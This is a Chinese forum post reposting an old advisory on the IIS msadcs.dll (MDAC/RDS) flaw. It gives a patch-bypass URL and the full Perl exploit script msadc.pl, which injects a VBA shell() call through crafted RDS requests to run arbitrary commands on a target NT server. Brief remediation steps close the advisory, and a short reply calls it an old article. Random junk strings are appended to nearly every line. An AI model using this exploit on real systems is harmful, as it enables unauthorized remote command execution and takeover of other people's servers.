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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) BI@[\aRLQ  
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涉及程序: $XH^~i;  
Microsoft NT server OjA,]Gv6  
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描述: `R^gU]Z,  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C3g_! dUs  
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详细: ;O,jUiQ  
如果你没有时间读详细内容的话,就删除: hhvyf^o   
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4*;MJ[|  
有关的安全问题就没有了。 K|=A:  
I&5!=kR  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 m1AJ{cs  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ow,b^|  
关于利用ODBC远程漏洞的描述,请参看: 8z\xrY  
j?QDR  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J'r^/  
8u]2xB=K  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 B9S@(/"7  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp lyhiFkO iH  
A=0'Ks  
这里不再论述。  Vxt+]5X  
BZ^}J!Q'*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: uyx 2;f  
LDa1X2N  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset GC'O[q+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! j'K/22  
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`Q,H|hp;k;  
#将下面这段保存为txt文件,然后: "perl -x 文件名" X}0cCdW  
a8Wwq?@  
#!perl aw>#P   
# }Y4qS  
# MSADC/RDS 'usage' (aka exploit) script 8q7b_Pq1U  
# 3G4-^hY<  
# by rain.forest.puppy c:.eGH_f  
# &%Tj/Qx  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ,R|BG  
# beta test and find errors! cB&:z)i4  
oP.7/*p  
use Socket; use Getopt::Std; ddR>7d}N  
getopts("e:vd:h:XR", \%args); Z3!`J&  
Ek}A]zC  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 9N3eN  
tq?!-x+>  
if (!defined $args{h} && !defined $args{R}) { TL#3;l^  
print qq~ +"VP-s0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +"@ .8m  
-h <host> = host you want to scan (ip or domain) (7*}-Uy[C  
-d <seconds> = delay between calls, default 1 second 6W Ur QFK  
-X = dump Index Server path table, if available Gs[XJ 5%`~  
-v = verbose @KAI4LP  
-e = external dictionary file for step 5 jz0T_\8D`  
3;Fhg!Z O  
Or a -R will resume a command session vvOV2n .WD  
B>.qd  
~; exit;} zx7{U8*`<  
zdH kG_PT  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 5kXYeP3:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ?bu>r=oIO]  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} F6dP,(  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); :U x_qB  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} HpnWo DM  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8~gLqh8^V  
"zy7C*)>r  
if (!defined $args{R}){ $ret = &has_msadc; I<tm"?q0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8\gjST*  
v.5+7,4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" BsJC0I(  
. "cmd /c "; 4X|zmr:A  
$in=<STDIN>; chomp $in; ReeH@.74  
$command="cmd /c " . $in ; :\U{_@?`%  
$, '*f?d  
if (defined $args{R}) {&load; exit;} j <RrLn_  
_<2E"PrT   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 0qT%!ku&  
&try_btcustmr; ?G&ikxl  
c[Zje7 @  
print "\nStep 2: Trying to make our own DSN..."; Z EO WO  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^G-@06/!  
dC4'{ n|7  
print "\nStep 3: Trying known DSNs..."; y*h<MQ  
&known_dsn; {FTqu.  
@xZR9Z8]L  
print "\nStep 4: Trying known .mdbs..."; WOf 4o  
&known_mdb; 4v|W-h"K  
L&OwPd  
if (defined $args{e}){ 61 ~upQaR  
print "\nStep 5: Trying dictionary of DSN names..."; ItTz.sQ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } BL58] P84  
RzusNS  
print "Sorry Charley...maybe next time?\n"; dAe')N:KPI  
exit; '[O;zJN;  
h`.&f  
############################################################################## y18Y:)DkL  
6\S~P/PkE  
sub sendraw { # ripped and modded from whisker 9]@!S|1  
sleep($delay); # it's a DoS on the server! At least on mine... *HB-QIl  
my ($pstr)=@_; /,Jqmm#s^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || R_xRp&5  
die("Socket problems\n"); .w ,q0<}  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?[>3QE  
select(S); $|=1; 9Lfv^V0  
print $pstr; my @in=<S>; FNId ;  
select(STDOUT); close(S); *k>n<p3dd  
return @in; <_KIK  
} else { die("Can't connect...\n"); }} -n5)w*b,  
VOh4#%Vj  
############################################################################## @$K"o7+]   
F1Bq$*'N$w  
sub make_header { # make the HTTP request y L~W.H  
my $msadc=<<EOT -1@<=jX3_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 $ o#V#  
User-Agent: ACTIVEDATA `pZm?}K  
Host: $ip fLAw12;^  
Content-Length: $clen ;P&OX5~V  
Connection: Keep-Alive N$:8 ,9.z  
w"&n?L  
ADCClientVersion:01.06  1ZB"EQ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 FN) $0  
$]2vvr  
--!ADM!ROX!YOUR!WORLD! !_Z&a  
Content-Type: application/x-varg "G9xMffW  
Content-Length: $reqlen ?#Q #u|~  
MR.'t9m2L  
EOT 2T[9f;jM'  
; $msadc=~s/\n/\r\n/g; zs#@jv$  
return $msadc;} Xm2z}X(%  
S?BG_J6A7  
############################################################################## 26x[X.C:  
1 I",L&S1  
sub make_req { # make the RDS request Ef13Q]9|  
my ($switch, $p1, $p2)=@_; 0Z]!/AsC  
my $req=""; my $t1, $t2, $query, $dsn; YkQd  
eO[b1]WLP  
if ($switch==1){ # this is the btcustmr.mdb query g9 5`.V}  
$query="Select * from Customers where City=" . make_shell(); @2v_pJy^  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . z,%$+)K  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2SR:FUV/  
t#eTV@-  
elsif ($switch==2){ # this is general make table query !m?-!:  
$query="create table AZZ (B int, C varchar(10))"; d9|<@A  
$dsn="$p1";} .Rf_Cl  
"`1bA"E  
elsif ($switch==3){ # this is general exploit table query }?v )N).kW  
$query="select * from AZZ where C=" . make_shell(); 'a.qu9PJ  
$dsn="$p1";} 2Q:+_v  
{3vNPQJ  
elsif ($switch==4){ # attempt to hork file info from index server fL7xq$K  
$query="select path from scope()"; 0%I=d  
$dsn="Provider=MSIDXS;";} I4?5K@a  
D*|Bb?  
elsif ($switch==5){ # bad query ! #2{hQRu  
$query="select"; ayF\nk4b  
$dsn="$p1";} .y:U&Rw4  
\mlqO[ S  
$t1= make_unicode($query); b<gr@WF  
$t2= make_unicode($dsn); >!)DM]Ri  
$req = "\x02\x00\x03\x00"; Jma1N;d  
$req.= "\x08\x00" . pack ("S1", length($t1)); `%WU8Yv  
$req.= "\x00\x00" . $t1 ; cD'V>[h  
$req.= "\x08\x00" . pack ("S1", length($t2)); 2WYPO"q  
$req.= "\x00\x00" . $t2 ; fvxu#m=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {h`uV/5@`  
return $req;} >`ZyG5  
Jo23P.#<  
############################################################################## 1|-Dj|  
\=0Vi6!Mc  
sub make_shell { # this makes the shell() statement RhLVg~x  
return "'|shell(\"$command\")|'";} 3I-MdApT  
o J;$sj  
############################################################################## rguCp}r  
Gjo`&#  
sub make_unicode { # quick little function to convert to unicode u!qP  
my ($in)=@_; my $out; h>OfOx/{q9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 2x0<&Xy#P  
return $out;} hODWB&b  
/J6rv((  
############################################################################## 0}q uG^%_  
EG |A_m85  
sub rdo_success { # checks for RDO return success (this is kludge) e.V:)7Uc  
my (@in) = @_; my $base=content_start(@in); PBkt~=j  
if($in[$base]=~/multipart\/mixed/){ ,{?%m6.lE  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} tT?cBg{  
return 0;} vn"{I&L+w0  
(0y~%J  
############################################################################## WlBc.kFck  
R`^_(yn>  
sub make_dsn { # this makes a DSN for us m5Di=8  
my @drives=("c","d","e","f"); N7R!C)!IL  
print "\nMaking DSN: "; F6 flIG&h  
foreach $drive (@drives) { ;cN{a&  
print "$drive: "; >[=^_8M  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "vE4E|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" :${HQd+  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); j^rIH#V   
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \7'{g@C(  
return 0 if $2 eq "404"; # not found/doesn't exist $aXer:  
if($2 eq "200") { JbQ) sp  
foreach $line (@results) { 63,H{  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} <1\Nb{5  
} return 0;} *N'p~LJ  
tS8u  
############################################################################## ?o#%Xs  
?zHPJLv|Y  
sub verify_exists { LW_ f  
my ($page)=@_; MfQ?W`Kop  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @A ^;jk  
return $results[0];} k-OPU ,  
Lrq .Ab#  
############################################################################## m#Z# .j_2  
..'_o~Ka  
sub try_btcustmr { /,Re "!jh  
my @drives=("c","d","e","f"); z]D69O b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FZE"7ec>m  
Bad:n o\W  
foreach $dir (@dirs) { JQHvz9Yg  
print "$dir -> "; # fun status so you can see progress tc{s B\&-  
foreach $drive (@drives) { eb"5- 0  
print "$drive: "; # ditto ZlzjVU/E  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ptxbDzOz  
$reqlenlen=length( "$reqlen" ); h6`6tk  
$clen= 206 + $reqlenlen + $reqlen; UVIKQpA]A  
uT7B#b7  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 1 \6D '/G  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} q2:6QM&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} h Pa_VrH  
I- >Ss},U  
############################################################################## Oh6fj}eK  
! lc[  
sub odbc_error { +<3X J7D  
my (@in)=@_; my $base; HLaRGN3,  
my $base = content_start(@in); (7=!+'T"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this +8Ymw:D7a  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d8=x0~7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8::$AQL3  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /?F/9hL  
return $in[$base+4].$in[$base+5].$in[$base+6];} (tw)nF  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; &/]Fc{]^$f  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . q0r>2c-d  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |kV*Jc k  
3r."j2$Hs0  
############################################################################## zz4N5["  
ktBj|-'>  
sub verbose { ZO$m["|  
my ($in)=@_; 91-o}|3v  
return if !$verbose; 7f!YoW;1  
print STDOUT "\n$in\n";} ^mO~ W!"  
|My4SoOF  
############################################################################## \k!{uRy'  
8=uu8-l8g  
sub save { x$Oq0d{T  
my ($p1, $p2, $p3, $p4)=@_; n!xt5=x P{  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 3e;^/kf<9  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ]B3=lc"  
close OUT;} OGg>#vj,s  
po Vx8oO8  
############################################################################## 3L}!RB  
`q*M4,  
sub load { W~9tKT4  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; qjdMqoOCjl  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); (VEpVn3{  
@p=<IN>; close(IN); e MY<uqdw  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ah0`KxO]  
$target= inet_aton($ip) || die("inet_aton problems"); *>2W#D)b=  
print "Resuming to $ip ..."; dS!:JO27  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; *ipFwQ  
if($p[1]==1) { <;m<8RjX  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; r@t9Ci=}  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Mh/dpb\Z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); *<jAiB ,O*  
if (rdo_success(@results)){print "Success!\n";} Q1 $^v0-)  
else { print "failed\n"; verbose(odbc_error(@results));}} {NFr]LGOp  
elsif ($p[1]==3){ >\=3:gb:  
if(run_query("$p[3]")){ "wn zo,  
print "Success!\n";} else { print "failed\n"; }} ;=; 9tX  
elsif ($p[1]==4){ {rH@gz|@i  
if(run_query($drvst . "$p[3]")){ 6GSI"M6s  
print "Success!\n"; } else { print "failed\n"; }} LzXmb 7A  
exit;} ,\  
h!.^?NF  
############################################################################## ^N;.cY  
TNY&asQo  
sub create_table {  s ;oQS5Y  
my ($in)=@_; 1o;J,dYu  
$reqlen=length( make_req(2,$in,"") ) - 28; [] `&vWZ  
$reqlenlen=length( "$reqlen" ); _'>oXQJ  
$clen= 206 + $reqlenlen + $reqlen; EwC{R`  
my @results=sendraw(make_header() . make_req(2,$in,"")); eWtZ]kB  
return 1 if rdo_success(@results); -vR5BMy=  
my $temp= odbc_error(@results); verbose($temp); '\ey<}?5V  
return 1 if $temp=~/Table 'AZZ' already exists/; B9$jSD  
return 0;} lpeEpI/gM  
}v*G_}^  
############################################################################## ,t9^j3Ixg  
y 4I6  
sub known_dsn { :'3XAntZA  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go MVTMwwO\[  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", w?wG(+X7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", vss(twg  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); F6OpN "UM'  
m)v"3ib  
foreach $dSn (@dsns) { Nj xoTLI  
print "."; bE#,=OI$  
next if (!is_access("DSN=$dSn")); )ufg9"\  
if(create_table("DSN=$dSn")){ luuX2Mx>o  
print "$dSn successful\n"; !GLz)#SBl  
if(run_query("DSN=$dSn")){ +"cq(Y@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9N<<{rQ,F  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 6)-X  
57zSu3v4Y  
############################################################################## */|lJm'R  
5JCG2jqx0  
sub is_access { y8L D7<1u  
my ($in)=@_; W<$Z=(_v  
$reqlen=length( make_req(5,$in,"") ) - 28; Iw&vTU=2  
$reqlenlen=length( "$reqlen" ); {fF3/tL  
$clen= 206 + $reqlenlen + $reqlen; ?NR A:t(}  
my @results=sendraw(make_header() . make_req(5,$in,"")); wF,UE _  
my $temp= odbc_error(@results); iH@yCNE"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Y/ >&0wj)d  
return 0;} X4AyX.p  
`U)hjQ~pP  
############################################################################## "B4;,+4kR  
2`>ToWN!  
sub run_query { R)z4n  
my ($in)=@_; 7X q,z  
$reqlen=length( make_req(3,$in,"") ) - 28; *4xat:@{{  
$reqlenlen=length( "$reqlen" ); SHbtWq}T  
$clen= 206 + $reqlenlen + $reqlen; ~\.w^*$#Y  
my @results=sendraw(make_header() . make_req(3,$in,"")); M?:c)&$]D  
return 1 if rdo_success(@results); OK6] e3UO  
my $temp= odbc_error(@results); verbose($temp); 8XzR wYV  
return 0;} L ugn 3+  
H!nr^l'+  
############################################################################## `m>*d!h=  
##;Er47@^  
sub known_mdb { 65p?Igb  
my @drives=("c","d","e","f","g"); #H{<gjs]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %K` % *D  
my $dir, $drive, $mdb; Y/ee~^YxK'  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `m?c;,\  
Vf'd*-_!Q<  
# this is sparse, because I don't know of many Jd(,/q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", | 8=nL$u  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", j!4et;  
"\\system32\\certmdb.mdb", a1.Ptf eW|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% _$f9]bab  
\ 3?LqJ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", U,gti,IX^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", P h}|dGb  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %D8ZO0J7H  
"\\cfusion\\cfapps\\security\\realm_.mdb", 8` @G;o  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", W4e5Rb4~f"  
"\\cfusion\\database\\cfexamples.mdb", 2 :mn</z  
"\\cfusion\\database\\cfsnippets.mdb", I8<,U!$  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !+4cqO  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 0 79'(%  
"\\cfusion\\brighttiger\\database\\cleam.mdb", H(2]7dRS%  
"\\cfusion\\database\\smpolicy.mdb", xw T%),  
"\\cfusion\\database\cypress.mdb", M57T2]8,  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", w{uuSe  
"\\website\\cgi-win\\dbsample.mdb", T2Y,U {  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", gO,25::")  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" xY U.D+RY  
); #these are just 2 fS[J'-o  
foreach $drive (@drives) {  eDJ fU  
foreach $dir (@dirs){ ~aOuG5 XK  
foreach $mdb (@sysmdbs) { '+vA\(K  
print "."; IlE_@gS8  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ UkHY[M7;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; rEv*)W  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ t|<NI+H(e  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ~J8pnTY  
} else { print "Something's borked. Use verbose next time\n"; }}}}} i|}[A  
* Y7jl#7  
foreach $drive (@drives) { q7Dw _<  
foreach $mdb (@mdbs) { CI :`<PZ\-  
print "."; \, &co  
if(create_table($drv . $drive . $dir . $mdb)){ Nl9I*x^e  
print "\n" . $drive . $dir . $mdb . " successful\n"; 7&"n`@(.!  
if(run_query($drv . $drive . $dir . $mdb)){ }X_;X_\3;'  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; T4 N~(Fi)  
} else { print "Something's borked. Use verbose next time\n"; }}}} P=+nB*hG  
} )aao[_ZS  
VX+jadYdq  
############################################################################## MJCzo |w  
hL;8pE8  
sub hork_idx { +sx 8t  
print "\nAttempting to dump Index Server tables...\n"; J}@z_^|"mJ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; VY"9?2?/  
$reqlen=length( make_req(4,"","") ) - 28; Ra/Ukv_v  
$reqlenlen=length( "$reqlen" ); RJH,  
$clen= 206 + $reqlenlen + $reqlen; .8uz 6~  
my @results=sendraw2(make_header() . make_req(4,"","")); ;?~$h-9)  
if (rdo_success(@results)){ saAxGG  
my $max=@results; my $c; my %d;  4)4+M  
for($c=19; $c<$max; $c++){ -0eq_+oQ  
$results[$c]=~s/\x00//g; uy^   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V&|Ed  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ?EpSC&S\  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; E)-r+ <l  
$d{"$1$2"}="";} }KKY6D|d>  
foreach $c (keys %d){ print "$c\n"; } }%`~T>/  
} else {print "Index server doesn't seem to be installed.\n"; }} )T66<UDK|  
]I.n\2R]om  
############################################################################## d90Z,nex  
7GS V  
sub dsn_dict { G #T<`>T  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); B_l{<  
while(<IN>){ m6yIR6H  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 8W+gl=C~  
next if (!is_access("DSN=$dSn")); JwRF(1_sM  
if(create_table("DSN=$dSn")){ eo!zW  
print "$dSn successful\n"; jWO/ xX  
if(run_query("DSN=$dSn")){ GK}'R=   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !W'Ui 9uX  
print "Something's borked. Use verbose next time\n";}}} ~!d/8?!   
print "\n"; close(IN);} y}K\%;`[a  
s(LT  
############################################################################## 16EVl~LN  
 6vTo*8D  
sub sendraw2 { # ripped and modded from whisker ,prF6*g+WE  
sleep($delay); # it's a DoS on the server! At least on mine... 0\~Z5k`IT  
my ($pstr)=@_; q )lnS )  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || FvuGup`w  
die("Socket problems\n"); bo=ZM9  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4E[!,zvl  
print "Connected. Getting data"; LrV{j?2@  
open(OUT,">raw.out"); my @in; mNAY%Wn6k  
select(S); $|=1; print $pstr; 1b>C<\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} #4h+j%y[H  
close(OUT); select(STDOUT); close(S); return @in; Ei3zBS?J)  
} else { die("Can't connect...\n"); }} ia{c  
NLe}Jqp  
############################################################################## b*mKei  
(9mMkU=  
sub content_start { # this will take in the server headers lE ;jCN  
my (@in)=@_; my $c; HygY>s+3[  
for ($c=1;$c<500;$c++) { /DO/Tqdfe  
if($in[$c] =~/^\x0d\x0a/){ b2^AP\: k  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ^t*x*m8  
else { return $c+1; }}} -g/hAxb5  
return -1;} # it should never get here actually /_-;zL  
T\# *S0^  
############################################################################## Ekm7 )d$  
6V+ qnUk  
sub funky { &>jAe_{",  
my (@in)=@_; my $error=odbc_error(@in); QIn/,Yd  
if($error=~/ADO could not find the specified provider/){ "4j:[9vR\  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }^K/?dM  
exit;} }T0K^Oe+eS  
if($error=~/A Handler is required/){ p(m1O70 C  
print "\nServer has custom handler filters (they most likely are patched)\n"; qy!Ou3^  
exit;} YIp-Y}6  
if($error=~/specified Handler has denied Access/){ wj|x:YZ*  
print "\nServer has custom handler filters (they most likely are patched)\n"; >7U>Yh  
exit;}} j#6|V]l  
iG ,t_??  
############################################################################## - ?!:{UXl  
$O:w(U  
sub has_msadc { Qc{RaMwD  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Q1&P@Io$  
my $base=content_start(@results); +>g`m)?p  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =KX<_;E  
return 0;} nxap\Lf  
I5);jgb  
######################## FkupO I  
AdoZs8Q  
w, jcm;  
解决方案: D~&Mwsi  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll rp :wQ H7  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 K,}w]b  
W)SjQp6  
拿出来充数 哈哈
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